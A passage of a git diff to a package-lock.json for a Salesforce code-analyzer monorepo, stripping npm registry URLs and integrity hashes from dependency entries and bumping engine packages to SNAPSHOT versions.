"sha512-64uBF76bfQiJyHgZISC7vcNz3adqQKIccVoKubyQcOnNcdJBvYOILV1v22Qhsw3tw3VQu5ll8ND6hycgAR5fEA==", "license": "MIT", "dependencies": { "@typescript-eslint/typescript-estree": "8.30.1", @@ -12232,8 +11401,6 @@ }, "packages/code-analyzer-eslint8-engine/node_modules/@typescript-eslint/eslint-plugin/node_modules/@typescript-eslint/utils": { "version": "8.30.1", - "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-8.30.1.tgz", - "integrity": "sha512-T/8q4R9En2tcEsWPQgB5BQ0XJVOtfARcUvOa8yJP3fh9M/mXraLxZrkCfGb6ChrO/V3W+Xbd04RacUEqk1CFEQ==", "license": "MIT", "dependencies": { "@eslint-community/eslint-utils": "^4.4.0", @@ -12255,8 +11422,6 @@ }, "packages/code-analyzer-eslint8-engine/node_modules/@typescript-eslint/parser": { "version": "8.30.1", - "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-8.30.1.tgz", - "integrity": "sha512-H+vqmWwT5xoNrXqWs/fesmssOW70gxFlgcMlYcBaWNPIEWDgLa4W9nkSPmhuOgLnXq9QYgkZ31fhDyLhleCsAg==", "license": "MIT", "dependencies": { "@typescript-eslint/scope-manager": "8.30.1", @@ -12279,8 +11444,6 @@ }, "packages/code-analyzer-eslint8-engine/node_modules/@typescript-eslint/scope-manager": { "version": "8.30.1", - "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-8.30.1.tgz", - "integrity": "sha512-+C0B6ChFXZkuaNDl73FJxRYT0G7ufVPOSQkqkpM/U198wUwUFOtgo1k/QzFh1KjpBitaK7R1tgjVz6o9HmsRPg==", "license": "MIT", "dependencies": { "@typescript-eslint/types": "8.30.1", @@ -12296,8 +11459,6 @@ }, "packages/code-analyzer-eslint8-engine/node_modules/@typescript-eslint/types": { "version": "8.30.1", - "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-8.30.1.tgz", - "integrity": "sha512-81KawPfkuulyWo5QdyG/LOKbspyyiW+p4vpn4bYO7DM/hZImlVnFwrpCTnmNMOt8CvLRr5ojI9nU1Ekpw4RcEw==", "license": "MIT", "engines": { "node": "^18.18.0 || ^20.9.0 || >=21.1.0" @@ -12309,8 +11470,6 @@ }, "packages/code-analyzer-eslint8-engine/node_modules/@typescript-eslint/typescript-estree": { "version": "8.30.1", - "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-8.30.1.tgz", - "integrity": "sha512-kQQnxymiUy9tTb1F2uep9W6aBiYODgq5EMSk6Nxh4Z+BDUoYUSa029ISs5zTzKBFnexQEh71KqwjKnRz58lusQ==", "license": "MIT", "dependencies": { "@typescript-eslint/types": "8.30.1", @@ -12335,8 +11494,6 @@ }, "packages/code-analyzer-eslint8-engine/node_modules/@typescript-eslint/visitor-keys": { "version": "8.30.1", - "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-8.30.1.tgz", - "integrity": "sha512-aEhgas7aJ6vZnNFC7K4/vMGDGyOiqWcYZPpIWrTKuTAlsvDNKy2GFDqh9smL+iq069ZvR0YzEeq0B8NJlLzjFA==", "license": "MIT", "dependencies": { "@typescript-eslint/types": "8.30.1", @@ -12352,8 +11509,6 @@ }, "packages/code-analyzer-eslint8-engine/node_modules/@typescript-eslint/visitor-keys/node_modules/eslint-visitor-keys": { "version": "4.2.1", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz", - "integrity": "sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==", "license": "Apache-2.0", "engines": { "node": "^18.18.0 || ^20.9.0 || >=21.1.0" @@ -12364,8 +11519,6 @@ }, "packages/code-analyzer-eslint8-engine/node_modules/brace-expansion": { "version": "1.1.14", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.14.tgz", - "integrity": "sha512-MWPGfDxnyzKU7rNOW9SP/c50vi3xrmrua/+6hfPbCS2ABNWfx24vPidzvC7krjU/RTo235sV776ymlsMtGKj8g==", "license": "MIT", "dependencies": { "balanced-match": "^1.0.0", @@ -12374,8 +11527,6 @@ }, "packages/code-analyzer-eslint8-engine/node_modules/doctrine": { "version": "2.1.0", - "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz", - "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==", "license": "Apache-2.0", "dependencies": { "esutils": "^2.0.2" @@ -12386,8 +11537,6 @@ }, "packages/code-analyzer-eslint8-engine/node_modules/eslint-plugin-import": { "version": "2.30.0", - "resolved": "https://registry.npmjs.org/eslint-plugin-import/-/eslint-plugin-import-2.30.0.tgz", - "integrity": "sha512-/mHNE9jINJfiD2EKkg1BKyPyUk4zdnT54YgbOgfjSakWT5oyX/qQLVNTkehyfpcMxZXMy1zyonZ2v7hZTX43Yw==", "license": "MIT", "dependencies": { "@rtsao/scc": "^1.1.0", @@ -12418,8 +11567,6 @@ }, "packages/code-analyzer-eslint8-engine/node_modules/eslint-plugin-import/node_modules/debug": { "version": "3.2.7", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", - "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", "license": "MIT", "dependencies": { "ms": "^2.1.1" @@ -12427,8 +11574,6 @@ }, "packages/code-analyzer-eslint8-engine/node_modules/eslint-plugin-import/node_modules/minimatch": { "version": "3.1.5", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", - "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==", "license": "ISC", "dependencies": { "brace-expansion": "^1.1.7" @@ -12439,8 +11584,6 @@ }, "packages/code-analyzer-eslint8-engine/node_modules/eslint-plugin-import/node_modules/semver": { "version": "6.3.1", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", - "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", "license": "ISC", "bin": { "semver": "bin/semver.js" @@ -12471,8 +11614,6 @@ }, "packages/code-analyzer-eslint8-engine/node_modules/ignore": { "version": "5.3.2", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz", - "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==", "license": "MIT", "engines": { "node": ">= 4" @@ -12480,8 +11621,6 @@ }, "packages/code-analyzer-eslint8-engine/node_modules/typescript": { "version": "5.8.3", - "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.8.3.tgz", - "integrity": "sha512-p1diW6TqL9L07nNxvRMM7hMMw4c5XOo/1ibL4aAIGmSAt9slTE1Xgw5KWuof2uTOvCg9BY7ZRi+GaF+7sfgPeQ==", "license": "Apache-2.0", "bin": { "tsc": "bin/tsc", @@ -12493,8 +11632,6 @@ }, "packages/code-analyzer-eslint8-engine/node_modules/typescript-eslint": { "version": "8.30.1", - "resolved": "https://registry.npmjs.org/typescript-eslint/-/typescript-eslint-8.30.1.tgz", - "integrity": "sha512-D7lC0kcehVH7Mb26MRQi64LMyRJsj3dToJxM1+JVTl53DQSV5/7oUGWQLcKl1C1KnoVHxMMU2FNQMffr7F3Row==", "license": "MIT", "dependencies": { "@typescript-eslint/eslint-plugin": "8.30.1", @@ -12515,8 +11652,6 @@ }, "packages/code-analyzer-eslint8-engine/node_modules/typescript-eslint/node_modules/@typescript-eslint/utils": { "version": "8.30.1", - "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-8.30.1.tgz", - "integrity": "sha512-T/8q4R9En2tcEsWPQgB5BQ0XJVOtfARcUvOa8yJP3fh9M/mXraLxZrkCfGb6ChrO/V3W+Xbd04RacUEqk1CFEQ==", "license": "MIT", "dependencies": { "@eslint-community/eslint-utils": "^4.4.0", @@ -12538,10 +11673,10 @@ }, "packages/code-analyzer-flow-engine": { "name": "@salesforce/code-analyzer-flow-engine", - "version": "0.40.0", + "version": "0.41.0-SNAPSHOT", "license": "BSD-3-Clause", "dependencies": { - "@salesforce/code-analyzer-engine-api": "0.41.0", + "@salesforce/code-analyzer-engine-api": "0.42.0-SNAPSHOT", "@types/node": "^20.0.0", "@types/semver": "^7.7.1", "semver": "^7.8.5" @@ -12562,8 +11697,6 @@ }, "packages/code-analyzer-flow-engine/node_modules/@eslint/eslintrc": { "version": "3.3.6", - "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-3.3.6.tgz", - "integrity": "sha512-l2Ul9PrHsPCKcEY/ac7VgFj9D80C7S68sOKc618SyHDPK36s1XcFebXY0iTzUVn4Yq+YbwvSnDmCz9yxjX+QrA==", "dev": true, "license": "MIT", "dependencies": { @@ -12586,8 +11719,6 @@ }, "packages/code-analyzer-flow-engine/node_modules/@eslint/js": { "version": "9.39.5", - "resolved": "https://registry.npmjs.org/@eslint/js/-/js-9.39.5.tgz", - "integrity": "sha512-QywQuszQh77pIXCsq998c8hbhSTI/azTty1Z6N53dmAudKHhy573j3yvRLsX2BSp8YpLtoCEG8E9DJe+8zUh4A==", "dev": true, "license": "MIT", "engines": { @@ -12599,8 +11730,6 @@ }, "packages/code-analyzer-flow-engine/node_modules/brace-expansion": { "version": "1.1.16", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.16.tgz", - "integrity": "sha512-IDw48K2/2kRkg9LdJxurvq3lV3aBgq0REY89duEqFRthjlPdXHKMj7EnQOXVckxzgisinf3nHfrcE2FufFLXMw==", "dev": true, "license": "MIT", "dependencies": { @@ -12610,8 +11739,6 @@ }, "packages/code-analyzer-flow-engine/node_modules/eslint": { "version": "9.39.5", - "resolved": "https://registry.npmjs.org/eslint/-/eslint-9.39.5.tgz", - "integrity": "sha512-DgZS62aPLXKlnxILS/AYCoRvHaZeXceIzlXPkkGGzJWSow1aEk0lbTlxUSlyjC8jcaKxAdOnTDz+o1JFSBsyjw==", "dev": true, "license": "MIT", "dependencies": { @@ -12685,8 +11812,6 @@ }, "packages/code-analyzer-flow-engine/node_modules/eslint-visitor-keys": { "version": "4.2.1", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz", - "integrity": "sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==", "dev": true, "license": "Apache-2.0", "engines": { @@ -12698,8 +11823,6 @@ }, "packages/code-analyzer-flow-engine/node_modules/espree": { "version": "10.4.0", - "resolved": "https://registry.npmjs.org/espree/-/espree-10.4.0.tgz", - "integrity": "sha512-j6PAQ2uUr79PZhBjP5C5fhl8e39FmRnOjsD5lGnWrFU8i2G776tBK7+nP8KuQUTTyAZUwfQqXAgrVH5MbH9CYQ==", "dev": true, "license": "BSD-2-Clause", "dependencies": { @@ -12747,8 +11870,6 @@ }, "packages/code-analyzer-flow-engine/node_modules/globals": { "version": "14.0.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-14.0.0.tgz", - "integrity": "sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ==", "dev": true, "license": "MIT", "engines": { @@ -12760,8 +11881,6 @@ }, "packages/code-analyzer-flow-engine/node_modules/ignore": { "version": "5.3.2", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz", - "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==", "dev": true, "license": "MIT", "engines": { @@ -12770,8 +11889,6 @@ }, "packages/code-analyzer-flow-engine/node_modules/minimatch": { "version": "3.1.5", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", - "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==", "dev": true, "license": "ISC", "dependencies": { @@ -12783,10 +11900,10 @@ }, "packages/code-analyzer-pmd-engine": { "name": "@salesforce/code-analyzer-pmd-engine", - "version": "0.45.0", + "version": "0.46.0-SNAPSHOT", "license": "BSD-3-Clause", "dependencies": { - "@salesforce/code-analyzer-engine-api": "0.41.0", + "@salesforce/code-analyzer-engine-api": "0.42.0-SNAPSHOT", "@types/node": "^20.0.0", "@types/semver": "^7.7.1", "semver": "^7.8.5" @@ -12807,8 +11924,6 @@ }, "packages/code-analyzer-pmd-engine/node_modules/@eslint/eslintrc": { "version": "3.3.6", - "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-3.3.6.tgz", - "integrity": "sha512-l2Ul9PrHsPCKcEY/ac7VgFj9D80C7S68sOKc618SyHDPK36s1XcFebXY0iTzUVn4Yq+YbwvSnDmCz9yxjX+QrA==", "dev": true, "license": "MIT", "dependencies": { @@ -12831,8 +11946,6 @@ }, "packages/code-analyzer-pmd-engine/node_modules/@eslint/js": { "version": "9.39.5", - "resolved": "https://registry.npmjs.org/@eslint/js/-/js-9.39.5.tgz", - "integrity": "sha512-QywQuszQh77pIXCsq998c8hbhSTI/azTty1Z6N53dmAudKHhy573j3yvRLsX2BSp8YpLtoCEG8E9DJe+8zUh4A==", "dev": true, "license": "MIT", "engines": { @@ -12844,8 +11957,6 @@ }, "packages/code-analyzer-pmd-engine/node_modules/brace-expansion": { "version": "1.1.16", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.16.tgz", - "integrity": "sha512-IDw48K2/2kRkg9LdJxurvq3lV3aBgq0REY89duEqFRthjlPdXHKMj7EnQOXVckxzgisinf3nHfrcE2FufFLXMw==", "dev": true, "license": "MIT", "dependencies": { @@ -12855,8 +11966,6 @@ }, "packages/code-analyzer-pmd-engine/node_modules/eslint": { "version": "9.39.5", - "resolved": "https://registry.npmjs.org/eslint/-/eslint-9.39.5.tgz", - "integrity": "sha512-DgZS62aPLXKlnxILS/AYCoRvHaZeXceIzlXPkkGGzJWSow1aEk0lbTlxUSlyjC8jcaKxAdOnTDz+o1JFSBsyjw==", "dev": true, "license": "MIT", "dependencies": { @@ -12930,8 +12039,6 @@ }, "packages/code-analyzer-pmd-engine/node_modules/eslint-visitor-keys": { "version": "4.2.1", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz", - "integrity": "sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==", "dev": true, "license": "Apache-2.0", "engines": { @@ -12943,8 +12050,6 @@ }, "packages/code-analyzer-pmd-engine/node_modules/espree": { "version": "10.4.0", - "resolved": "https://registry.npmjs.org/espree/-/espree-10.4.0.tgz", - "integrity": "sha512-j6PAQ2uUr79PZhBjP5C5fhl8e39FmRnOjsD5lGnWrFU8i2G776tBK7+nP8KuQUTTyAZUwfQqXAgrVH5MbH9CYQ==", "dev": true, "license": "BSD-2-Clause", "dependencies": { @@ -12992,8 +12097,6 @@ }, "packages/code-analyzer-pmd-engine/node_modules/globals": { "version": "14.0.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-14.0.0.tgz", - "integrity": "sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ==", "dev": true, "license": "MIT", "engines": { @@ -13005,8 +12108,6 @@ }, "packages/code-analyzer-pmd-engine/node_modules/ignore": { "version": "5.3.2", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz", - "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==", "dev": true, "license": "MIT", "engines": { @@ -13015,8 +12116,6 @@ }, "packages/code-analyzer-pmd-engine/node_modules/minimatch": { "version": "3.1.5", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", - "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==", "dev": true, "license": "ISC", "dependencies": { @@ -13028,10 +12127,10 @@ }, "packages/code-analyzer-regex-engine": { "name": "@salesforce/code-analyzer-regex-engine", - "version": "0.39.0", + "version": "0.40.0-SNAPSHOT", "license": "BSD-3-Clause", "dependencies": { - "@salesforce/code-analyzer-engine-api": "0.41.0", + "@salesforce/code-analyzer-engine-api": "0.42.0-SNAPSHOT", "@types/node": "^20.0.0", "isbinaryfile": "^5.0.7", "p-limit": "^3.1.0" @@ -13052,8 +12151,6 @@ }, "packages/code-analyzer-regex-engine/node_modules/@eslint/eslintrc": { "version": "3.3.6", - "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-3.3.6.tgz", - "integrity": "sha512-l2Ul9PrHsPCKcEY/ac7VgFj9D80C7S68sOKc618SyHDPK36s1XcFebXY0iTzUVn4Yq+YbwvSnDmCz9yxjX+QrA==", "dev": true, "license": "MIT", "dependencies": { @@ -13076,8 +12173,6 @@ }, "packages/code-analyzer-regex-engine/node_modules/@eslint/js": { "version": "9.39.5", - "resolved": "https://registry.npmjs.org/@eslint/js/-/js-9.39.5.tgz", - "integrity": "sha512-QywQuszQh77pIXCsq998c8hbhSTI/azTty1Z6N53dmAudKHhy573j3yvRLsX2BSp8YpLtoCEG8E9DJe+8zUh4A==", "dev": true, "license": "MIT", "engines": { @@ -13089,8 +12184,6 @@ }, "packages/code-analyzer-regex-engine/node_modules/brace-expansion": { "version": "1.1.16", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.16.tgz", - "integrity": "sha512-IDw48K2/2kRkg9LdJxurvq3lV3aBgq0REY89duEqFRthjlPdXHKMj7EnQOXVckxzgisinf3nHfrcE2FufFLXMw==", "dev": true, "license": "MIT", "dependencies": { @@ -13100,8 +12193,6 @@ }, "packages/code-analyzer-regex-engine/node_modules/eslint": { "version": "9.39.5", - "resolved": "https://registry.npmjs.org/eslint/-/eslint-9.39.5.tgz", - "integrity": "sha512-DgZS62aPLXKlnxILS/AYCoRvHaZeXceIzlXPkkGGzJWSow1aEk0lbTlxUSlyjC8jcaKxAdOnTDz+o1JFSBsyjw==", "dev": true, "license": "MIT", "dependencies": { @@ -13175,8 +12266,6 @@ }, "packages/code-analyzer-regex-engine/node_modules/eslint-visitor-keys": { "version": "4.2.1", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz", - "integrity": "sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==", "dev": true, "license": "Apache-2.0", "engines": { @@ -13188,8 +12277,6 @@ }, "packages/code-analyzer-regex-engine/node_modules/espree": { "version": "10.4.0", - "resolved": "https://registry.npmjs.org/espree/-/espree-10.4.0.tgz", - "integrity": "sha512-j6PAQ2uUr79PZhBjP5C5fhl8e39FmRnOjsD5lGnWrFU8i2G776tBK7+nP8KuQUTTyAZUwfQqXAgrVH5MbH9CYQ==", "dev": true, "license": "BSD-2-Clause", "dependencies": { @@ -13237,8 +12324,6 @@ }, "packages/code-analyzer-regex-engine/node_modules/globals": { "version": "14.0.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-14.0.0.tgz", - "integrity": "sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ==", "dev": true, "license": "MIT", "engines": { @@ -13250,8 +12335,6 @@ }, "packages/code-analyzer-regex-engine/node_modules/ignore": { "version": "5.3.2", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz", - "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==", "dev": true, "license": "MIT", "engines": { @@ -13260,8 +12343,6 @@ }, "packages/code-analyzer-regex-engine/node_modules/minimatch": { "version": "3.1.5", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", - "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==", "dev": true, "license": "ISC", "dependencies": { @@ -13273,10 +12354,10 @@ }, "packages/code-analyzer-retirejs-engine": { "name": "@salesforce/code-analyzer-retirejs-engine", - "version": "0.38.0", + "version": "0.39.0-SNAPSHOT", "license": "BSD-3-Clause", "dependencies": { - "@salesforce/code-analyzer-engine-api": "0.41.0", + "@salesforce/code-analyzer-engine-api": "0.42.0-SNAPSHOT", "@types/node": "^20.0.0", "isbinaryfile": "^5.0.7", "node-stream-zip": "^1.15.0", @@ -13298,8 +12379,6 @@ }, "packages/code-analyzer-retirejs-engine/node_modules/@eslint/eslintrc": { "version": "3.3.6", - "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-3.3.6.tgz", - "integrity": "sha512-l2Ul9PrHsPCKcEY/ac7VgFj9D80C7S68sOKc618SyHDPK36s1XcFebXY0iTzUVn4Yq+YbwvSnDmCz9yxjX+QrA==", "dev": true, "license": "MIT", "dependencies": { @@ -13322,8 +12401,6 @@ }, "packages/code-analyzer-retirejs-engine/node_modules/@eslint/js": { "version": "9.39.5", - "resolved": "https://registry.npmjs.org/@eslint/js/-/js-9.39.5.tgz", - "integrity": "sha512-QywQuszQh77pIXCsq998c8hbhSTI/azTty1Z6N53dmAudKHhy573j3yvRLsX2BSp8YpLtoCEG8E9DJe+8zUh4A==", "dev": true, "license": "MIT", "engines": { @@ -13335,8 +12412,6 @@ }, "packages/code-analyzer-retirejs-engine/node_modules/brace-expansion": { "version": "1.1.16", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.16.tgz", - "integrity": "sha512-IDw48K2/2kRkg9LdJxurvq3lV3aBgq0REY89duEqFRthjlPdXHKMj7EnQOXVckxzgisinf3nHfrcE2FufFLXMw==", "dev": true, "license": "MIT", "dependencies": { @@ -13346,8 +12421,6 @@ }, "packages/code-analyzer-retirejs-engine/node_modules/eslint": { "version": "9.39.5", - "resolved": "https://registry.npmjs.org/eslint/-/eslint-9.39.5.tgz", - "integrity": "sha512-DgZS62aPLXKlnxILS/AYCoRvHaZeXceIzlXPkkGGzJWSow1aEk0lbTlxUSlyjC8jcaKxAdOnTDz+o1JFSBsyjw==", "dev": true, "license": "MIT", "dependencies": { @@ -13421,8 +12494,6 @@ }, "packages/code-analyzer-retirejs-engine/node_modules/eslint-visitor-keys": { "version": "4.2.1", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz", - "integrity": "sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==", "dev": true, "license": "Apache-2.0", "engines": { @@ -13434,8 +12505,6 @@ }, "packages/code-analyzer-retirejs-engine/node_modules/espree": { "version": "10.4.0", - "resolved": "https://registry.npmjs.org/espree/-/espree-10.4.0.tgz", - "integrity": "sha512-j6PAQ2uUr79PZhBjP5C5fhl8e39FmRnOjsD5lGnWrFU8i2G776tBK7+nP8KuQUTTyAZUwfQqXAgrVH5MbH9CYQ==", "dev": true, "license": "BSD-2-Clause", "dependencies": { @@ -13483,8 +12552,6 @@ }, "packages/code-analyzer-retirejs-engine/node_modules/globals": { "version": "14.0.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-14.0.0.tgz", - "integrity": "sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ==", "dev": true, "license": "MIT", "engines": { @@ -13496,8 +12563,6 @@ }, "packages/code-analyzer-retirejs-engine/node_modules/ignore": { "version": "5.3.2", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz", - "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==", "dev": true, "license": "MIT", "engines": { @@ -13506,8 +12571,6 @@ }, "packages/code-analyzer-retirejs-engine/node_modules/minimatch": { "version": "3.1.5", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", - "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==", "dev": true, "license": "ISC", "dependencies": { @@ -13519,10 +12582,10 @@ }, "packages/code-analyzer-sfge-engine": { "name": "@salesforce/code-analyzer-sfge-engine", - "version": "0.24.0", + "version": "0.25.0-SNAPSHOT", "license": "BSD-3-Clause", "dependencies": { - "@salesforce/code-analyzer-engine-api": "0.41.0", + "@salesforce/code-analyzer-engine-api": "0.42.0-SNAPSHOT", "@types/node": "^20.0.0", "semver": "^7.8.5" }, @@ -13543,8 +12606,6 @@ }, "packages/code-analyzer-sfge-engine/node_modules/@eslint/eslintrc": { "version": "3.3.6", - "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-3.3.6.tgz", - "integrity": "sha512-l2Ul9PrHsPCKcEY/ac7VgFj9D80C7S68sOKc618SyHDPK36s1XcFebXY0iTzUVn4Yq+YbwvSnDmCz9yxjX+QrA==", "dev": true, "license": "MIT", "dependencies": { @@ -13567,8 +12628,6 @@ }, "packages/code-analyzer-sfge-engine/node_modules/@eslint/js": { "version": "9.39.5", - "resolved": "https://registry.npmjs.org/@eslint/js/-/js-9.39.5.tgz", - "integrity": "sha512-QywQuszQh77pIXCsq998c8hbhSTI/azTty1Z6N53dmAudKHhy573j3yvRLsX2BSp8YpLtoCEG8E9DJe+8zUh4A==", "dev": true, "license": "MIT", "engines": { @@ -13580,8 +12639,6 @@ }, "packages/code-analyzer-sfge-engine/node_modules/brace-expansion": { "version": "1.1.16", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.16.tgz", - "integrity": "sha512-IDw48K2/2kRkg9LdJxurvq3lV3aBgq0REY89duEqFRthjlPdXHKMj7EnQOXVckxzgisinf3nHfrcE2FufFLXMw==", "dev": true, "license": "MIT", "dependencies": { @@ -13591,8 +12648,6 @@ }, "packages/code-analyzer-sfge-engine/node_modules/eslint": { "version": "9.39.5", - "resolved": "https://registry.npmjs.org/eslint/-/eslint-9.39.5.tgz", - "integrity": "sha512-DgZS62aPLXKlnxILS/AYCoRvHaZeXceIzlXPkkGGzJWSow1aEk0lbTlxUSlyjC8jcaKxAdOnTDz+o1JFSBsyjw==", "dev": true, "license": "MIT", "dependencies": { @@ -13666,8 +12721,6 @@ }, "packages/code-analyzer-sfge-engine/node_modules/eslint-visitor-keys": { "version": "4.2.1", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz", - "integrity": "sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==", "dev": true, "license": "Apache-2.0", "engines": { @@ -13679,8 +12732,6 @@ }, "packages/code-analyzer-sfge-engine/node_modules/espree": { "version": "10.4.0", - "resolved": "https://registry.npmjs.org/espree/-/espree-10.4.0.tgz", - "integrity": "sha512-j6PAQ2uUr79PZhBjP5C5fhl8e39FmRnOjsD5lGnWrFU8i2G776tBK7+nP8KuQUTTyAZUwfQqXAgrVH5MbH9CYQ==", "dev": true, "license": "BSD-2-Clause", "dependencies": { @@ -13727,6 +12778,257 @@ } }, "packages/code-analyzer-sfge-engine/node_modules/globals": { + "version": "14.0.0", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "packages/code-analyzer-sfge-engine/node_modules/ignore": { + "version": "5.3.2", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "packages/code-analyzer-sfge-engine/node_modules/minimatch": { + "version": "3.1.5", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "packages/code-analyzer-uibundle-engine": { + "name": "@salesforce/code-analyzer-uibundle-engine", + "version": "0.1.0-SNAPSHOT", + "license": "BSD-3-Clause", + "dependencies": { + "@babel/parser": "^7.25.0", + "@babel/traverse": "^7.25.0", + 